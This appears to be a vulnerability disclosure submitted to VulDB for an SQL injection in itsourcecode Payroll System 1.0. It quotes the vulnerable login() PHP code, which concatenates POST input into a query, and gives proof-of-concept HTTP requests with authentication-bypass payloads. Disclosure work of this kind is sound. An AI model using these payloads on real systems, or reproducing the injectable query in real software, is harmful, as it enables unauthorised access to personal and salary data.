提出 #886158: itsourcecode Payroll System 1.0 SQL Injection

Description:
The `login()` function in `admin_class.php` uses `extract($_POST)` and concatenates user input directly into the SQL query without any sanitization, escaping, or parameterization. An attacker can bypass authentication entirely by injecting SQL syntax into the username field. Combined with VULN-01 (missing auth on ajax.php), this is accessible without any prior authentication.

Vulnerable Code:
**File**: `admin_class.php`, Lines 18-30
```php
function login(){
extract($_POST);
$qry = $this->db->query("SELECT * FROM users where username = '".$username."' and password = '".$password."' ");
if($qry->num_rows > 0){
foreach ($qry->fetch_array() as $key => $value) {
if($key != 'passwors' && !is_numeric($key))
$_SESSION['login_'.$key] = $value;
}
return 1;
}
}
```

`extract($_POST)` imports all POST parameters as variables. Both `$username` and `$password` are directly interpolated into SQL without `mysqli_real_escape_string()` or prepared statements.

Proof of Concept:
**Comment out password check**:
```http
POST /ajax.php?action=login HTTP/1.1
Host: localhost:8093
Content-Type: application/x-www-form-urlencoded

username=admin'#&password=anything
```
Resulting SQL: `SELECT * FROM users where username = 'admin'#' and password = 'anything'`

**Generic OR-based bypass**:
```http
username=' OR 1=1 LIMIT 1#&password=anything
```

Impact:
- Complete unauthenticated authentication bypass
- Attacker gains full Administrator access to payroll system
- Access to all employee PII, salary data, attendance records
- Combined with VULN-01: zero authentication required for any API action

Reference: https://github.com/microwaveabi/vul/issues/8

• ソース: ⚠️ https://github.com/microwaveabi/vul/issues/8
• ユーザー: microwave (UID 96185)
• 送信: 2026年07月11日 05:17 (1 月 ago)
• モデレーション: 2026年08月24日 00:50 (1 month later)
• ステータス: 承諾済み
• VulDBエントリ: 394578 [itsourcecode Payroll System 1.0 admin_class.php login ユーザー名 SQLインジェクション]
• ポイント: 20